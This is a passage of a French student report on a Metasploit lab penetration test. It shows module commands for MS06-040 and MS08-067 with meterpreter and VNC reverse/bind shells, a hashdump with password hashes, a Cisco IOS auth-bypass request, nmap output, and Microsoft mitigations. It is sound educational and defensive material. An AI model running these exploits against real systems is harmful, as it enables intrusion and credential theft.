On utilise donc une faille du protocole DCE/RPC. Comme expliqué précédemment ce
protocole permet à un logiciel de gérer son fonctionnement d’une manière distribuée (sur
plusieurs systèmes donc).
L’exploit ms03-026_dcom exploite une vulnérabilité (buffer overflow) dans l’interface
DCOM (Distributed Component Object Model) lors d’un flux RPC. La vulnérabilité est
causée par une erreur de limite (« Boundary Error ») dans le "CoGetInstanceFromFile" API
lors du traitement du paramètre "szName", et une erreur non spécifiée lors du traitement de
certains messages RPC.
Cette vulnérabilité est alors exploitée en causant des débordements de tas (« Heap
Overflows »), permettant ensuite l’exécution de notre payload sur ce système vulnérable.
23
Parade : Une mise à jour de Windows « Microsoft Security Bulletin MS03-026 »
datant du 10/09/03 a permis d’annihiler cette vulnérabilité sur tous les systèmes 2K, NT et
XP.
Capture d’écran :
24
2.3 Récupération des mots de passe sous Windows 2K
On va exploiter ici la même vulnérabilité que lors de la première attaque, mais en
insérant une payload différente, afin de bien mettre en évidence la forte modularité de ce
Framework et ainsi son gros point fort.
Cette fois-ci, on va utiliser comme payload un meterpreter, qui comme expliqué dans la partie
V, va nous permettre de réaliser toutes sortes d’actions, et en particulier de récupérer les codes
d’accès des utilisateurs.
L’exploit se lance avec les commandes suivantes :
use exploit/windows/smb/ms06_040_netapi
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.0.2
exploit
Et enfin la commande « hashdump » nous permet de récupérer les hash des codes utilisateurs :
use priv
hashdump
On obtient les codes pour chaque utilisateur :
Administrateur:500:2a2a90d00ef9d2847c3113b4a1a5e3a0:ee2c00cd64d363c6
0349a749adf3a7e3:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7
e0c089c0:::
Afin d’avoir accès aux réels mots de passé, il ne reste « plus » qu’à inverser le
processus de hachage. Or ce processus est dit « irréversible ». Néanmoins, certains logiciels
de force brute dits « Brute Force » comme « John The Ripper » y arrivent ; d’autres utilisent
des tables afin d’accélérer le décodage, comme « RainbowCrack ».
2.4 Déport d'affichage sous Windows 2K
On utilise encore cette fois-ci la vulnérabilité de SMB, mais en insérant un serveur
VNC dans le processus (comme expliqué dans la partie V), on va réussir à déporter
l’affichage de la machine cible sur l’écran de la machine attaquante.
set payload windows/vncinject/reverse_tcp
set RHOST 192.168.0.2
set LHOST 192.168.0.3
exploit
25
Capture d’écran :
Dès lors que l’attaquant obtient l’affichage de la machine cible, il peut interagir avec
celle-ci, et donc exécuter des commandes. Cependant toute commande exécutée du coté de la
cible ou de l’attaquant est observable par l’autre.
26
2.5 Prise en main d’une machine sous Windows XP
Les attaques disponibles envers l’OS Win XP étant plus rares, on utilise ici un exploit
crée assez récemment (fin 2008) afin de prendre la main sur cet OS.
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.0.1
set LHOST 192.168.0.3
exploit
L’utilisation du meterpreter va nous permettre, comme présenté dans la partie V.1.2,
toutes sortes d’actions, notamment une modification de sa table de routage, ou la
désactivation de la sourie et/ou du clavier de la cible par exemple.
Cette vulnérabilité pourrait permettre l'exécution de code à distance si un système
affecté recevait une requête RPC spécialement conçue. Cette vulnérabilité est due au fait que
le service ne traite pas correctement les requêtes RPC spécialement conçues. Sur les systèmes
Windows 2000, Windows XP et Windows Server 2003, un attaquant pourrait exploiter cette
vulnérabilité pour exécuter du code arbitraire sans nécessiter d'authentification.
Tout attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre
le contrôle intégral du système affecté. Le service Serveur fournit le support de RPC, de
l'impression de fichier et du partage de canal nommé (named pipe) par le réseau. Le service
Serveur permet de partager les ressources locales (telles que les disques et les imprimantes)
afin que les autres utilisateurs du réseau puissent y avoir accès. Il permet également une
communication par canal nommé (named pipe) entre les applications s'exécutant sur d'autres
ordinateurs et sur votre ordinateur, ce qui est utilisé pour RPC.
La vulnérabilité MS08_067 est présente sur toute la gamme à jour des OS Windows,
c’est-à-dire Win 2K SP4, Win XP SP3, Win Vista SP1 et Win 7 Beta. A noter que cette
vulnérabilité est « Critical » pour Win 2K et XP car elle ne requière pas d’authentification,
alors que cette dernière est nécessaire sous Vista et 7, ce qui permet de ne classer cette
vulnérabilité que comme « Important ».
27
Mise à jour corrective : La mise à jour MS08_067 de Microsoft Security remédie à cette
faille. A noter qu’elle remédie aussi à la faille MS06_040 étudiée plus tôt, étant donné
qu’elles traitent d’une vulnérabilité très similaire.
Solutions de contournement concernant la vulnérabilité du service serveur – ms08_067
Une solution de contournement fait référence à une modification de paramètre ou de
configuration qui ne corrige pas la vulnérabilité sous-jacente mais qui pourrait contribuer à
bloquer certains vecteurs d'attaque connus jusqu'à ce que la mise à jour soit appliquée. Voici
quelques solutions proposées par Microsoft :
1.
Désactiver les services Serveur et Explorateur d'ordinateur
Cette technique aide à protéger la vulnérabilité de l'exploitation à distance (voir la
procédure en ANNEXE D). Cette solution présente néanmoins quelques limitations. En effet
si le service Explorateur d'ordinateur est désactivé, tout service dépendant directement de
celui-ci pourrait consigner un message d'erreur dans le journal des événements système. Si le
service Serveur est désactivé, le partage de fichiers ou d’imprimantes n’est plus possible
depuis cet ordinateur, mais l’affichage et l’utilisation du partage de fichiers et d'imprimantes
d'autres systèmes sera encore possible.
2.
Bloquer les ports TCP 139 et 445 au niveau du pare-feu
Ces ports servent à établir une connexion au composant affecté. En bloquant les ports
TCP 139 et 445 au niveau du pare-feu, les systèmes situés derrière ce pare-feu ne peuvent
plus communiquer avec ces applications affectées. Microsoft recommande cependant de
bloquer toute communication entrante non sollicitée en provenance d’Internet, afin de
renforcer la protection contre des attaques qui pourraient utiliser les autres ports. Cependant
plusieurs services Windows utilisent ces ports notamment les applications qui utilisent SMB,
le service serveur (Partage de fichier et d'impression)... bloquer ces ports peut entraîner un
dysfonctionnement de ces applications.
28
3) Machines cibles Linux
Le nombre d’attaques disponibles dans le Framework Metasploit concernant l’OS
Linux étant au maximum de 15, cela réduit conséquemment les possibilités d’attaque dans
notre cas. Les ports sous Linux étant aussi beaucoup plus fermés que les systèmes Windows,
il est encore plus difficile de réaliser une attaque.
On peut donc raisonnablement en déduire, en se fixant seulement sur le nombre
d’attaques, que les systèmes Linux sont plus sûrs que ceux Windows. Attention toutefois, car
il faut aussi penser que Windows est une cible privilégiée pour tous les partisans de Linux et
de l’open-source; les recherches de vulnérabilités sont donc plus actives du côté de Windows.
Sous une machine Ubuntu, on peut néanmoins utiliser l’outil Nessus afin de faire un
état des vulnérabilités de la machine Debian 192.168.1.1.
Outre le warning sur le port 113 (voir capture ci-dessus), Nessus nous prévient aussi à
propos du protocole ICMP autorisé, qui permet à l'attaquant de connaître la date et l'heure de
la machine ; ce qui peut l'aider à réaliser à mettre en déroute des protocoles d'authentification
basés sur le temps.
Le dernier warning concerne le Csd-monitor (3072 UDP): Il nous indique que le
service RPC est en route, et compte tenu de sa réputation en ce qui concerne les failles de
sécurité, Nessus recommande de fermer ce port.
On constate donc que Nessus ne trouve pas non plus de failles de sécurité critiques
dans le système d’exploitation Debian.
29
4) Machines cibles routeurs
Concernant les routeurs émulés par Marionnet, ils fonctionnent sous une distribution
Debian « quagga », qui est une suite logicielle permettant de faire du routage. La version de
cette distribution étant 0.99.6, il apparaît qu'elle possède une vulnérabilité pouvant entraîner
un Déni de Service.
« La vulnérabilité est causée du fait d’une erreur d’affirmation dans "bgpd" lors du traitement
d’un AS path contenant plusieurs 4 byte AS numbers, qui pourrait être exploitée pour "planter
au démon" en mettant en avant "specially crafted AS paths". »
Le Framework Metasploit 3.3 ne contenant pas d'attaque permettant d'exploiter cette
vulnérabilité, nous ne pourrons donc pas la mettre en évidence.
Debian a alors réalisé une mise à jour en août 2009 (version 0.99.6-5) permettant d'annuler
cette vulnérabilité.
Une étude plus approfondie nous montre cependant que la suite Metasploit nous
permettrait d'exploiter des vulnérabilités de routeurs Cisco:
auxiliary/admin/cisco/ios_http_auth_bypass: « By sending a GET request for
"/level/num/exec/..", where num is between 16 and 99, it is possible to bypass authentication
and obtain full system control. ». Les IOS version 11.3->12.2 sont vulnérables.
Afin de tester cet exploit, nous avons donc branché un routeur Cisco 1600 sur le Hub
physique de notre topologie.
Après avoir configuré (grâce au port série) un des ports du routeur avec un
HyperTerminal afin de lui attribuer une @IP, on ouvre le port http 80 avec cette commande
« ip http server », étant donné que cette exploit utilise le port 80 comme RPORT.
Ouverture d’un port sur un routeur ? Et oui ceci est possible depuis la version d’IOS
11.0, et a pour but de pouvoir configurer le routeur à partir d’un navigateur web.
Malheureusement, l’exploit lancé a échoué, ceci étant surement dû à la version d’IOS
du routeur utilisé (12.2 ou 12.3 d’après nmap).
De même cet exploit : auxiliary/admin/cisco/vpn_3000_ftp_bypass
est très récent (pas encore disponible dans le Framework 3.3) et permet aussi de prendre la
main sur un routeur.
30
VII. Conclusions et Perspectives
Ce document touche désormais à sa fin. Nous espérons, au travers de ces quelques
pages, avoir réussi à vous intéressez à cet outil qu’est Metasploit.
Les notions entrevues au cours de ce projet ont été nombreuses. A commencer par
l’approfondissement de l’utilisation de l’outil Marionnet, et la découverte des outils
BackTrack et Metasploit.
Nous avons ensuite pu découvrir et mettre en pratique les différentes étapes d’une attaque
hostile sur une cible.
L’étude plus approfondie de Metasploit nous a permis d’entrevoir les étapes de la
création d’un exploit, le fonctionnement et le déroulement d’une payload, et les différentes
possibilités qui s’offrent à l’attaquant une fois qu’il a la main mise sur la machine cible.
Des études détaillées nous ont permis de comprendre plus précisément quelles
vulnérabilités étaient exploitées, et au sein de quels protocoles. Malheureusement les
nombreux protocoles mis en jeu ne nous étant pas particulièrement connu, et les vulnérabilités
venant très souvent d’une erreur de codage logiciel, leur compréhension s’est révélé des plus
périlleuses.
Néanmoins, ce projet nous a permis de confirmer nos « préjugés » concernant
l’insécurité des vieux systèmes Windows, bien qu’il faille garder en tête que les systèmes
Unix n’étant pas commerciaux et moins haït que son adversaire, ils sont donc peut-être moins
attaqués et ainsi les failles ont moins de chance d’être découvertes. De plus, l’importante
différence entre le nombre de machines Windows et Linux déployées dans le monde implique
logiquement que la probabilité qu’une faille soit découverte sous Windows est beaucoup plus
importante que sous Linux. Enfin, les efforts déployés par Microsoft concernant la sécurité
afin de ne par réitérer ses erreurs du passé (ses anciens OS) permettront peut-être de diminuer
le nombre de vulnérabilités sous Vista et Seven.
Quant à l’outil Metasploit, c’est un projet open-source sérieux et surtout à jour, ce qui
est très important dans le milieu de la sécurité informatique. En effet les exploits
correspondant aux vulnérabilités venant d’être découvertes sortent à peu près en même temps
que les mises à jour Microsoft. Ce qui en fait aussi un produit très dangereux puisqu’il permet
à des utilisateurs non forcément spécialistes et connaisseurs de pouvoir attaquer une machine
« presque » à jour.
Concernant les perspectives de cette étude, les exploits étant disponible sur le site
officiel de Metasploit dès leur sortie, cela permet d’avoir un outil le plus complet possible afin
d’être le plus efficace possible. De plus, étant donné un nombre d’heures prévues assez limité
pour ce projet, et le nombre important d’exploit de ce Framework, l’étendue des
investigations reste encore large afin d’explorer pleinement cet outil. En effet, l’installation de
logiciels dans leur version vulnérable afin de pouvoir utiliser de nombreuses autres attaques,
ou la création même d’un exploit pourraient constituer un projet à part entière faisant suite au
notre.
31
VIII. Glossaire
- OS : Operating System ou Système d’exploitation
- IP : Internet Protocol
- TCP : Transmission Control Protocol
- UDP : User Datagram Protocol
- GNU : projet de système d'exploitation composé exclusivement de logiciels libres.
- GW : GateWay
- FTP : File Transfer Protocol (utilise TCP)
- TFTP : Trivial File Transfer Protocol (utilise UDP afin de simplifier son
utilisation)
- HTTP : HyperText Transfer Protocol
- IMAP : Internet Message Access Protocol
- SSH : Secure Shell
- ICMP : Internet Control Message Protocol
- VNC : Virtual Network Computing : logiciel ouvert permettant de se connecter à
un ordinateur distant. Il permet aussi de transmettre les saisies au clavier ainsi que
les clics de souris d'un ordinateur à l'autre, à travers un réseau informatique.
- SMB : Server Message Block
- NTLMSSP : NT Lan Manager Security Support Provider
- RHOST, LHOST : Hôte cible, Hôte Local
- RPORT, LPORT : Port cible, Port Local
- IPTABLES : logiciel libre de l'espace utilisateur Linux grâce auquel
l'administrateur système peut configurer les chaînes et règles dans le parefeu en espace noyau
32
IX.
Bibliographie
-
www.metasploit.com
-
www.backtrack-linux.org
-
www.marionnet.org
-
www.osvdb.org

www.secuobs.com

www.nmap.org

http://vigilance.fr/vulnerabilite/

http://samba.anu.edu.au/cifs/docs/what-is-smb.html

http://security-wave.blogspot.com/2009/10/un-nouveau-payload-pour-metasploit.html

http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx

http://www.microsoft.com/france/technet/security/bulletin/ms06-040.mspx

http://www.microsoft.com/france/technet/security/bulletin/ms08-067.mspx
- Aurélien BORDES, Secrets d'authentification sous Windows
- MARTIN Benjamin, PAULIAT Romain, et PELLETIER Alexandre. METASPLOIT
Environnement intégré de test d’intrusion
33
X.
Annexes
A. NMAP de la topologie complète
root@bt:/pentest/exploits/framework3# nmap -sS -sU -F -sV -O 192.168.0.0/24 192.168.1.0/24 192.168.2.0/24
Starting Nmap 4.68 ( http://nmap.org ) at 2010-01-19 06:31 EST
Interesting ports on 192.168.0.1:
Not shown: 2266 closed ports
PORT STATE
SERVICE
VERSION
7/tcp open
echo
9/tcp open
discard?
13/tcp open
daytime
Microsoft Windows International daytime
17/tcp open
qotd
Windows qotd (French)
19/tcp open
chargen
25/tcp open
smtp
Microsoft ESMTP 6.0.2600.2180
80/tcp open
http
Microsoft IIS webserver 5.1
135/tcp open
msrpc
Microsoft Windows RPC
139/tcp open
netbios-ssn
443/tcp open
https?
445/tcp open
microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open
msrpc
5800/tcp open
vnc-http
RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)
5900/tcp open
vnc
VNC (protocol 3.8)
7/udp open
echo
9/udp open|filtered discard
13/udp open
daytime
Windows daytime
17/udp open
qotd?
19/udp open
chargen
123/udp open
ntp
Microsoft NTP
137/udp open
netbios-ns Microsoft Windows XP netbios-ssn
138/udp open|filtered netbios-dgm
161/udp open
snmp
SNMPv1 server (public)
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
520/udp open|filtered route
1900/udp open|filtered upnp
3456/udp open|filtered IISrpc-or-vat
4500/udp open|filtered sae-urn
MAC Address: 00:11:09:46:4D:21 (Micro-Star International)
Network Distance: 1 hop
Service Info: Host: G28-14; OS: Windows
Host script results:
|_ Discover OS Version over NetBIOS and SMB: Windows XP
PORT STATE
SERVICE
VERSION
135/tcp open
msrpc
34
139/tcp open
netbios-ssn
445/tcp open
microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open
msrpc
135/udp open
msrpc
137/udp open
netbios-ns Microsoft Windows NT netbios-ssn (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
MAC Address: 00:21:91:06:4D:E9 (D-Link)
Running: Microsoft Windows 2000
All 2295 scanned ports on 192.168.0.3 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
PORT
STATE SERVICE VERSION
68/tcp open tcpwrapped
6000/tcp open X11
(access denied)
19150/tcp open gkrellm?
MAC Address: 00:0F:B0:8E:FC:29 (Compal Electronics)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.25
Uptime: 0.063 days (since Tue Jan 19 05:23:08 2010)
Service Info: OS: Unix
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.0 (protocol 1.99)
MAC Address: 02:04:06:00:00:01 (Unknown)
22/tcp open ssh
OpenSSH 4.3p2 Debian 9 (protocol 2.0)
111/tcp open rpcbind
113/tcp open ident
179/tcp open tcpwrapped
35
2601/tcp open quagga Quagga routing software 0.99.6 (Derivative of GNU Zebra)
111/udp open rpcbind
MAC Address: 02:04:06:00:00:02 (Unknown)
22/tcp open ssh OpenSSH 4.7p1 Debian 2 (protocol 2.0)
113/tcp open ident
111/udp open rpcbind
Network Distance: 2 hops
Nmap done: 768 IP addresses (11 hosts up) scanned in 1381.67 seconds
36
B. An Example SMB Exchange
The protocol elements (requests and responses) that clients and servers exchange are
called SMBs. They have a specific format that is very similar for both requests and responses.
Each consists of a fixed size header portion, followed by a variable sized parameter and data
portion.
After connecting at the NetBIOS level, either via NBF, NetBT, etc, the client is ready
to request services from the server. However, the client and server must first identify which
protocol variant they each understand.
The client sends a negprot SMB to the server, listing the protocol dialects that it understands.
The server responds with the index of the dialect that it wants to use, or 0xFFFF if none of the
dialects was acceptable.
Dialects more recent than the Core and CorePlus protocols supply information in the
negprot response to indicate their capabilities (max buffer size, canonical file names, etc).
Once a protocol has been established. The client can proceed to logon to the server, if
required. They do this with a sesssetupX SMB. The response indicates whether or not they
have supplied a valid username password pair and if so, can provide additional information.
One of the most important aspects of the response is the UID of the logged on user. This UID
must be submitted with all subsequent SMBs on that connection to the server.
Once the client has logged on (and in older protocols-Core and CorePlus-you cannot
logon), the client can proceed to connect to a tree.
The client sends a tcon or tconX SMB specifying the network name of the share that
they wish to connect to, and if all is kosher, the server responds with a TID that the client will
use in all future SMBs relating to that share.
Having connected to a tree, the client can now open a file with an open SMB, followed
by reading it with read SMBs, writing it with write SMBs, and closing it with close SMBs.
Source : http://samba.anu.edu.au/cifs/docs/what-is-smb.html
37
C. Procédure pour désactiver le protocole SMB sous windows 2000
1. Dans le menu Démarrer, pointez sur Paramètres, puis cliquez sur
Connexions réseau et accès à distance.
Cliquez avec le bouton droit sur la connexion exposée à Internet,
puis cliquez sur Propriétés.
2. Activez la case à cocher Client pour les réseaux Microsoft, puis
cliquez sur Désinstaller.
3. Suivez les étapes de désinstallation.
4. Sélectionnez Partage de fichiers et d'imprimantes pour les réseaux
Microsoft, puis cliquez sur Désinstaller.
5. Suivez les étapes de désinstallation.
D. Désactiver les services Serveur et Explorateur d'ordinateur.
La désactivation de l'Explorateur d'ordinateur et du service Serveur sur les systèmes affectés
aide à protéger ces systèmes de tentatives d'exploitation à distance de cette vulnérabilité.
Vous pouvez désactiver ces services en procédant comme suit :
1. Cliquez sur Démarrer, puis sur Panneau de configuration (ou sélectionnez Paramètres et cliquez sur
Panneau de configuration).
2. Double-cliquez sur Outils d'administration.
3. Double-cliquez sur Services.
4. Double-cliquez sur Computer Browser Service.
5. Dans la liste Type de démarrage, sélectionnez Désactivé.
6. Cliquez sur Arrêter, puis sur OK.
7. Répétez les étapes 4 à 6 pour le service Serveur.
38

Prise en main, configuration et évaluation des

Transcription

Documents pareils

Se connecter a Windows xp automatique avec Auto logon

ReDirect to SMB

l`adgf, de l`agref et de la pga france

Connectivité, robustesse et puissance de calcul Accessoires

L`OPEN KUBE - Le Mobilier Qui S`Allume

Reservation Nouvel an 2016 Chateau des Lys

Quelques considérations sur le fait d`être un juriste exercant

taekwondo - Swiss Olympic

Installer Windows Media Player 11 si vous avez des

Liste des ports

Les ports réseau